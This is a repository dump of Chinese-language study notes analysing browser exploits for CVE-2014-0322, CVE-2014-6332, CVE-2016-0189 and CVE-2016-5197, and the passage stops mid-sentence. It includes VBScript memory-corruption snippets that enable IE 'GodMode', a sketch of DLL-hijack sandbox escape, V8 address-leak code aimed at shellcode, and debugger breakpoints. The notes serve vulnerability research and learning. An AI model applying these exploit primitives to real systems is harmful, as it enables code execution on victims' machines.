├── .gitignore ├── BrowserSecurity ├── CVE-2014-0322.md ├── CVE-2014-0322 │ ├── CVE-2014-03220.png │ ├── CVE-2014-03221.png │ ├── CVE-2014-032210.png │ ├── CVE-2014-032211.png │ ├── CVE-2014-032212.png │ ├── CVE-2014-032213.png │ ├── CVE-2014-032214.png │ ├── CVE-2014-032215.png │ ├── CVE-2014-032216.png │ ├── CVE-2014-03222.png │ ├── CVE-2014-03223.png │ ├── CVE-2014-03224.png │ ├── CVE-2014-03225.png │ ├── CVE-2014-03226.png │ ├── CVE-2014-03227.png │ ├── CVE-2014-03228.png │ └── CVE-2014-03229.png ├── CVE-2014-6332.md ├── CVE-2014-6332 │ ├── CVE-2014-63320.png │ ├── CVE-2014-63321.png │ ├── CVE-2014-63322.png │ ├── CVE-2014-63323.png │ ├── CVE-2014-63324.png │ ├── CVE-2014-63325.png │ └── CVE-2014-63326.png ├── CVE-2016-0189.md ├── CVE-2016-0189 │ ├── CVE-2016-01890.png │ ├── CVE-2016-01891.png │ ├── CVE-2016-018910.png │ ├── CVE-2016-018911.png │ ├── CVE-2016-018912.png │ ├── CVE-2016-018913.png │ ├── CVE-2016-018914.png │ ├── CVE-2016-01892.png │ ├── CVE-2016-01893.png │ ├── CVE-2016-01894.png │ ├── CVE-2016-01895.png │ ├── CVE-2016-01896.png │ ├── CVE-2016-01897.png │ ├── CVE-2016-01898.png │ └── CVE-2016-01899.png ├── CVE-2016-5197.md ├── CVE-2016-5197 │ ├── CVE-2016-51970.png │ ├── CVE-2016-51971.png │ ├── CVE-2016-519710.png │ ├── CVE-2016-51972.png │ ├── CVE-2016-51973.png │ ├── CVE-2016-51974.png │ ├── CVE-2016-51975.png │ ├── CVE-2016-51976.png │ ├── CVE-2016-51977.png │ ├── CVE-2016-51978.png │ └── CVE-2016-51979.png ├── CVE-2017-5070.md ├── CVE-2017-5070 │ ├── CVE-2017-50700.png │ ├── CVE-2017-50701.png │ ├── CVE-2017-50702.png │ ├── CVE-2017-50703.png │ └── CVE-2017-50704.png ├── CVE-2018-8174.md ├── CVE-2018-8174 │ ├── CVE-2018-81740.png │ ├── CVE-2018-81741.png │ ├── CVE-2018-817410.png │ ├── CVE-2018-817411.png │ ├── CVE-2018-817412.png │ ├── CVE-2018-817413.png │ ├── CVE-2018-817414.png │ ├── CVE-2018-817415.png │ ├── CVE-2018-817416.png │ ├── CVE-2018-817417.png │ ├── CVE-2018-817418.png │ ├── CVE-2018-817419.png │ ├── CVE-2018-81742.png │ ├── CVE-2018-817420.png │ ├── CVE-2018-817421.png │ ├── CVE-2018-817422.png │ ├── CVE-2018-817423.png │ ├── CVE-2018-817424.png │ ├── CVE-2018-817425.png │ ├── CVE-2018-817426.png │ ├── CVE-2018-817427.png │ ├── CVE-2018-817428.png │ ├── CVE-2018-817429.png │ ├── CVE-2018-81743.png │ ├── CVE-2018-81744.png │ ├── CVE-2018-81745.png │ ├── CVE-2018-81746.png │ ├── CVE-2018-81747.png │ ├── CVE-2018-81748.png │ ├── CVE-2018-81749.png │ ├── [VulnerabilityExploit]BypassALSR0.png │ ├── [VulnerabilityExploit]BypassALSR1.png │ ├── [VulnerabilityExploit]BypassALSR10.png │ ├── [VulnerabilityExploit]BypassALSR11.png │ ├── [VulnerabilityExploit]BypassALSR12.png │ ├── [VulnerabilityExploit]BypassALSR2.png │ ├── [VulnerabilityExploit]BypassALSR3.png │ ├── [VulnerabilityExploit]BypassALSR4.png │ ├── [VulnerabilityExploit]BypassALSR5.png │ ├── [VulnerabilityExploit]BypassALSR6.png │ ├── [VulnerabilityExploit]BypassALSR7.png │ ├── [VulnerabilityExploit]BypassALSR9.png │ ├── [VulnerabilityExploit]BypassDEP0.png │ ├── [VulnerabilityExploit]BypassDEP1.png │ ├── [VulnerabilityExploit]BypassDEP2.png │ ├── [VulnerabilityExploit]BypassDEP3.png │ ├── [VulnerabilityExploit]BypassDEP4.png │ ├── [VulnerabilityExploit]BypassDEP5.png │ ├── [VulnerabilityExploit]BypassDEP6.png │ ├── [VulnerabilityExploit]BypassDEP7.png │ ├── [VulnerabilityExploit]BypassDEP8.png │ └── [VulnerabilityExploit]BypassDEP9.png ├── README.md ├── README │ ├── Basics0.png │ ├── Basics1.png │ ├── Basics2.png │ ├── Basics3.png │ ├── Basics4.png │ ├── Basics5.png │ ├── Basics6.png │ ├── InternetExplorer0.png │ ├── InternetExplorer1.png │ ├── InternetExplorer2.png │ ├── InternetExplorer4.png │ ├── V80.png │ ├── V81.png │ ├── V810.png │ ├── V811.png │ ├── V812.png │ ├── V813.png │ ├── V814.png │ ├── V815.png │ ├── V816.png │ ├── V817.png │ ├── V818.png │ ├── V819.png │ ├── V82.png │ ├── V820.png │ ├── V821.png │ ├── V822.png │ ├── V823.png │ ├── V824.png │ ├── V825.png │ ├── V826.png │ ├── V827.png │ ├── V828.png │ ├── V829.png │ ├── V83.png │ ├── V84.png │ ├── V85.png │ ├── V86.png │ ├── V87.png │ ├── V88.png │ ├── V89.png │ ├── VbscriptBasics0.png │ ├── VbscriptBasics2.png │ ├── VbscriptBasics3.png │ └── VbscriptBasics4.png └── V8.md ├── README.md └── WindowsExploitDevelopment ├── Part0-HackNotes.md ├── Part1-StackOverflow.md ├── Part1-StackOverflow ├── Part1-StackOverflow0.png ├── Part1-StackOverflow1.png ├── Part1-StackOverflow2.png ├── Part1-StackOverflow3.png ├── Part1-StackOverflow4.png ├── Part1-StackOverflow5.png ├── Part1-StackOverflow6.png ├── Part1-StackOverflow7.png ├── Part1-StackOverflow8.png └── Part1-StackOverflow9.png ├── Part2-SEHExploit.md ├── Part2-SEHExploit ├── Part2-SEHExploit0.png ├── Part2-SEHExploit1.png ├── Part2-SEHExploit2.png ├── Part2-SEHExploit3.png ├── Part2-SEHExploit5.png ├── Part2-SEHExploit6.png └── Part2-SEHExploit7.png ├── Part3-BypassDEPwithROP.md ├── Part3-BypassDEPwithROP ├── Part3-BypassDEPwithROP0.png ├── Part3-BypassDEPwithROP1.png ├── Part3-BypassDEPwithROP2.png ├── Part3-BypassDEPwithROP3.png ├── Part3-BypassDEPwithROP4.png ├── Part3-ROP0.png ├── Part3-ROP1.png ├── Part3-ROP2.png └── Part3-ROP3.png ├── Part4-From0x00410041toCalc.md └── Part4-From0x00410041toCalc ├── Part4-From0x00410041toCalc0.png ├── Part4-From0x00410041toCalc1.png ├── Part4-From0x00410041toCalc2.png ├── Part4-From0x00410041toCalc3.png ├── Part4-From0x00410041toCalc4.png ├── Part4-From0x00410041toCalc5.png └── Part4-From0x00410041toCalc6.png /.gitignore: -------------------------------------------------------------------------------- 1 | *Samples* 2 | *CVE-2018-8373* -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322.md: -------------------------------------------------------------------------------- 1 | # CVE-2014-0322 分析 2 | 3 | 算是第一个克服畏难情绪、没有依赖他人分析文章的sample;慢慢自己会去下一些断点,总结一些内存结构,一个有纪念意义的sample。 4 | 5 | 6 | ## UAF分析 7 | Win7+IE10+flashplayer12_0r0_70_winax 8 | 9 | 并非稳定exploit,HeapSpray并不一定能喷射成期望的布局 10 | 11 | ``` 12 | 13 | 14 |
15 | 16 | 17 | 18 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 调试事项: 116 | 1. enable hpa 117 | 2. 断点 118 | bu MSHTML!CScriptElement::CreateElement "gu; gu; .printf \"CScriptElement Address: %p\\n\",poi(ebp-4); " 119 | bu jscript9!Js::Math::Atan ".printf \"DEBUG: %mu\\n\", poi(poi(esp+10)+c);g" 120 | bu jscript9!Js::Math::Atan2 ".printf \"DEBUG: %mu\\n\", poi(poi(esp+14)+c);" 121 | bu MSHTML!CMarkup::~CMarkup ".printf \"Release CMarkup Object: %p\\n\",ecx; gu;" 122 | bu MSHTML!CMarkup::CMarkup "gu; .printf \"New CMarkup Object: %p\\n\",eax ;" 123 | ``` 124 | 125 | ``` 126 | b.onpropertychange = eXpl 127 | 这行代码会触发eXpl的执行 128 | ``` 129 | 130 | ``` 131 | 执行this.outerHTML = this.outerHTML时,会创建一个新的script节点,用它替换原有Script节点 132 | ``` 133 | 134 |  135 | 136 | 137 |  138 | 139 | ``` 140 | c = b.appendChild(c), 因为b已经不在主Dom流中了,为了对它appendChild需要创建一条新的Dom流; 141 | 而对b appendChild, 会触发eXpl执行(b的属性被改变啊) 142 | ``` 143 | 144 |  145 | 146 | ``` 147 | 再次执行 148 | this.outerHTML = this.outerHTML, 不知为何这里多了CMarkup_a的释放,更不知为何后面又重新引用它,从而就UAF啦 149 | ``` 150 | 151 |  152 | 153 | 154 |  155 | 156 | ``` 157 | 通过在call释放CMarkup_a前下断点,发现了CMarkup_a被释放的原因 158 | MSHTML!InjectHtmlStream 有一段这样的Code, 先释放临时CMarkup对象,再释放script_a 所在CMarkup 对象 159 | 160 | ``` 161 | 162 |  163 | 164 | ``` 165 | CMarkup::~CMarkup 并不是每次都释放CMarkup, 166 | 如果对象还被引用,则~CMarkup只是减少引用计数; 167 | 如果引用计数为0,才会真正释放CMarkup 对象 168 | ``` 169 | 170 |  171 | 172 | ``` 173 | 当eXpl执行完回到appendChild的逻辑时,继续用到了CMarkup_a, 因为它是对script_a appendChild 174 | 综上: 本质上还是CMarkup对象的引用计数更新不对,导致错误释放 175 | 176 | ``` 177 | 178 | ## 数组越界访问 179 | ``` 180 | CMarkup Object被19fffff3填充,而后续会有inc [eax+10],从而修改了1a000000 处vector的length 181 | ``` 182 |  183 | 184 | ``` 185 | 把下一个vector的length改为0x3FFFFFFF,可读写范围更大了 186 | ``` 187 |  188 | 189 | 190 | ## Bypass ALSR 191 | ``` 192 | Bypass ALSR与其他exploit类似,之前分析过,略 193 | ``` 194 |  195 | 196 | ## Bypass DEP 197 | ``` 198 | 在flash .text字段搜寻0xC394用于stack pivot 199 | // 94 xchg eax,esp 200 | // c3 ret 201 | 202 | 这里又可以继续了解PE结构啦~~~ 203 | ``` 204 | 205 |  206 | 207 |  208 | 209 |  210 | 211 | 212 | ## Run Shellcode 213 | 214 |  215 | 216 | ****************************************************** 217 | 218 |  219 | 220 | ****************************************************** 221 | 222 |  223 | 224 | ****************************************************** 225 | 226 |  -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03220.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03220.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03221.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03221.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-032210.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-032210.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-032211.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-032211.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-032212.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-032212.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-032213.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-032213.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-032214.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-032214.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-032215.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-032215.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-032216.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-032216.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03222.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03222.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03223.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03223.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03224.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03224.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03225.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03225.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03226.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03226.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03227.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03227.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03228.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03228.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03229.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03229.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332.md: -------------------------------------------------------------------------------- 1 | # CVE-2014-6332分析 2 | 3 | **Win7x86+IE11** 4 | 5 |  6 | 7 | 1. root cause 8 | 9 | 注意到aa的length变为0x8000005 10 | 11 | ``` 12 | dim aa() 13 | redim aa(5) 14 | aa(0) = &h11223344 15 | 16 | a2=5+&h8000000 17 | IsEmpty(aa) 18 | 19 | redim Preserve aa(a2) 20 | IsEmpty(aa) 21 | 22 | ``` 23 | 24 | 对length 被修改的内存下硬件写断点,定位到OLEAUT32!SafeArrayRedim 25 | 26 | OLEAUT32!SafeArrayRedim 逻辑如下 27 |  28 | 29 | 2. 构造交错aa, ab 30 | 31 | 由于OLEAUT32!SafeArrayRedim 中的bug,redim Preserve aa(a2) 之后会使得aa可以越界访问。通过循环申请aa和ab,试图构造出以下内存布局 32 | 33 |  34 | 35 | 3. Setnotsafemode 36 | 37 | ``` 38 | function Mydata() 39 | On Error Resume Next 40 | i=testaa 41 | i=null 42 | IsEmpty(i) 43 | 44 | redim Preserve aa(a2) 45 | ab(0)=0 46 | aa(a1)=i 47 | ab(0)=6.36598737437801E-314 48 | aa(a1+2)=myarray 49 | ab(2)=1.74088534731324E-310 50 | IsEmpty("Before return Mydata") 51 | Mydata=aa(a1) 52 | redim Preserve aa(a0) 53 | end function 54 | ``` 55 | 56 |  57 |  58 | 59 | ``` 60 | 通过对aa, ab交替赋值,即可修改myarray、CScriptEntryPoint的type 61 | 从而得到一个 [0x0, 0x7fff0000) 的array, 以及CScriptEntryPoint 对象地址 62 | 63 | ``` 64 | 65 |  66 | 67 | 68 | ``` 69 | function ReadMemo(add) 70 | On Error Resume Next 71 | redim Preserve aa(a2) 72 | ab(0)=0 73 | aa(a1)=add+4 74 | ab(0)=1.69759663316747E-313 75 | IsEmpty("Before Return ReadMemo") 76 | ReadMemo=lenb(aa(a1)) 77 | ab(0)=0 78 | redim Preserve aa(a0) 79 | end function 80 | ``` 81 | 82 |  83 | 84 | ``` 85 | i=Mydata() 'i为vbscript!CScriptEntryPoint 对象地址 86 | i=ReadMemo(i+8) 87 | i=ReadMemo(i+16) 'i为vbscript!COleScript 对象地址 88 | 89 | for k=0 to &h60 step 4 90 | j=ReadMemo(i+&h120+k) 91 | if (j=&he) then '找到[ecx+0x174]==0xe的位置 92 | redim Preserve aa(a2) 93 | aa(a1+2)(i+&h11c+k)=ab(4) 'ab(4)还保留着初始化时的0; aa(a1+2)是myarray; [ecx+0x174]被赋值为0 94 | redim Preserve aa(a0) 95 | exit for 96 | end if 97 | next 98 | ``` 99 | 100 | ``` 101 | 修改[ecx+0x174]成功,进入GodMode,即可执行shellcode 102 | 0:007> dd 01d1e758+170 L2 103 | 01d1e8c8 00000000 0000000e 104 | 0:007> dd 01d1e758+170 L2 105 | 01d1e8c8 00000000 00000000 106 | ``` 107 | 108 | ** 为什么要构造一个myarray? ** 109 | ``` 110 | 尽管aa已经有全址读写能力,但它的base不是从0开始。当ecx+174h的值后,我们不方便通过aa定位到它。 111 | 112 | 通过myarray,直接使用下标就可以访问它,更加方便。 113 | ``` 114 | -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332/CVE-2014-63320.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-6332/CVE-2014-63320.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332/CVE-2014-63321.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-6332/CVE-2014-63321.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332/CVE-2014-63322.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-6332/CVE-2014-63322.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332/CVE-2014-63323.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-6332/CVE-2014-63323.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332/CVE-2014-63324.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-6332/CVE-2014-63324.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332/CVE-2014-63325.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-6332/CVE-2014-63325.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332/CVE-2014-63326.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-6332/CVE-2014-63326.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189.md: -------------------------------------------------------------------------------- 1 | # CVE-2016-0189分析 2 | 3 | # About GodMode and EPM 4 | 1. 当[ecx+0x174]&0xB时,即可开启GodMode;但GodMode只是控制unsafe extensions (such as “Shell.Application”)能否执行,并不能突破IE的sandbox, 即EPM 5 | 6 |  7 | 8 | 2. vista之后默认是开启EPM的,因此pop up notepad没有问题,却无法pop up cmd;pop up calc 则需要用户允许,这都是由于ElevationPolicy控制的。 如果可以pop up calc/cmd, 可能是由于你是Administrator 用户登录,从而IE是high Integrity Level 9 | 10 |  11 | 3. 既然不能突破sandbox,如何执行shellcode 12 | 13 | - DLL劫持攻擊 14 | ``` 15 | download一个fake shell32.dll和PE到temp目录 16 | 设置temp 目录为系统目录 17 | new 一个shellShell.Application时,会调用fake shell32.dll,从而执行PE 18 | ``` 19 | 20 | - local server(Further Reading1) 21 | 22 | # 1. 泄漏VBScriptClass对象地址 23 |  24 | 25 | 调试过程如下: 26 | 最初aw.A的size 27 | 28 |  29 | 30 | Resize() 31 | 32 |  33 | 34 | 使用y_array32占位 35 | 36 |  37 | 38 | Set aw.A(arg1, 2) = s,造成越界读写,与y_array32内容交错 39 | 40 |  41 | 42 | 遍历y_array32, 即可得到VBScriptClass对象地址 43 | 44 | 45 | 这里有必要解释下为什么是IsEmpty(aw),而不是IsEmpty(aw.A) 46 | 47 |  48 | 49 | # 2. Leak ColeScript对象地址 50 | 51 |  52 | 53 |  54 | 55 | # 3. 修改SafeMode标识 56 | 57 |  58 | 59 |  60 | 61 |  62 | 63 | 4. 执行shell code 64 | 65 | - 简单弹出notepad.exe 66 | 67 |  68 | 69 | - 执行PE (不成功,暂时mark,想知道新启动进程的权限是low还是medium) 70 | 71 |  72 | 73 | 74 | ## Further Reading 75 | 1. https://theori.io/research/cve-2016-0189. 76 | 2. https://bbs.pediy.com/thread-228371.htm 77 | 3. https://www.freebuf.com/sectool/131766.html 78 | 4. https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf 79 | -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01890.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01890.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01891.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01891.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-018910.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-018910.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-018911.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-018911.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-018912.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-018912.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-018913.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-018913.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-018914.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-018914.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01892.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01892.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01893.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01893.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01894.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01894.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01895.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01895.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01896.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01896.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01897.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01897.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01898.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01898.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01899.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01899.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-5197.md: -------------------------------------------------------------------------------- 1 | # CVE-2016-5197 OOB 2 | 3 | ## 参考 4 | https://xz.aliyun.com/t/2889#toc-17 5 | https://www.jianshu.com/p/0326d382f5f9 6 | https://cansecwest.com/slides/2017/CSW2017_QidanHe-GengmingLiu_Pwning_Nexus_of_Every_Pixel.pdf 7 | 8 | 9 | ## 编译有问题的D8 10 | https://bugs.chromium.org/p/chromium/issues/detail?id=659475 11 | 12 | https://chromium.googlesource.com/v8/v8/+/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6 13 | 14 |  15 | 16 | ## 漏洞分析 17 | ``` 18 | var n; 19 | function Ctor() { 20 | n = new Set(); 21 | } 22 | function Check() { 23 | n.xyz = 0x826852f4; 24 | } 25 | Ctor(); 26 | Ctor(); 27 | %OptimizeFunctionOnNextCall(Ctor); 28 | Ctor(); 29 | Check(); 30 | Check(); 31 | %OptimizeFunctionOnNextCall(Check); 32 | Check(); 33 | 34 | Ctor(); 35 | %DebugPrint(n); 36 | Math.atan(1); 37 | Check(); 38 | %DebugPrint(n); 39 | Math.atan(1); 40 | parseInt('AAAAAAAA'); 41 | ``` 42 | 43 |  44 | 45 |  46 | 47 | 48 | ## 漏洞利用 49 | 50 | ### Leak ArrayBuffer ab地址,function evil_fun地址 51 | ab是后续存shellcode的,evil_fun是一个自定义函数,我们希望修改function的CodeEntry为shellcode地址,从而控制EIP 52 | 53 | ``` 54 | function evil_fun(a, b) { 55 | return a + b; 56 | } 57 | 58 | function Check(obj) { 59 | n.xyz = 3.4766863919152113e-308; // do not modify string map 60 | n.xyz1 = 0x0; // do not modify the value 61 | n.xyz2 = 0x7000; // enlarge length of builtIn string 'null' 62 | n.xyz3 = obj; // leak the Object 63 | 64 | } 65 | Check(String(null)); 66 | Check(String(null)); 67 | %OptimizeFunctionOnNextCall(Check); 68 | Check(String(null)); 69 | 70 | Ctor(); 71 | Check(ab); 72 | ab_addr = read_value(); 73 | print("ArrayBuffer: " + ab_addr.toString(16)); 74 | 75 | Check(evil_fun); 76 | var evil_fun_addr = read_value(); 77 | print("evil_fun: " + evil_fun_addr.toString(16)); 78 | ``` 79 | 80 |  81 | 82 |  83 | 84 | ### 将null string的地址写到其value处 85 | 86 | ``` 87 | Check(String(null)); 88 | null_string_addr = read_value(); 89 | print("null string: " + null_string_addr.toString(16)); 90 | ``` 91 | 92 |  93 | 94 | ### 修改null string hashcode处为ab length的地址 95 | 现在如果对xyz3赋值一个un-smi数, 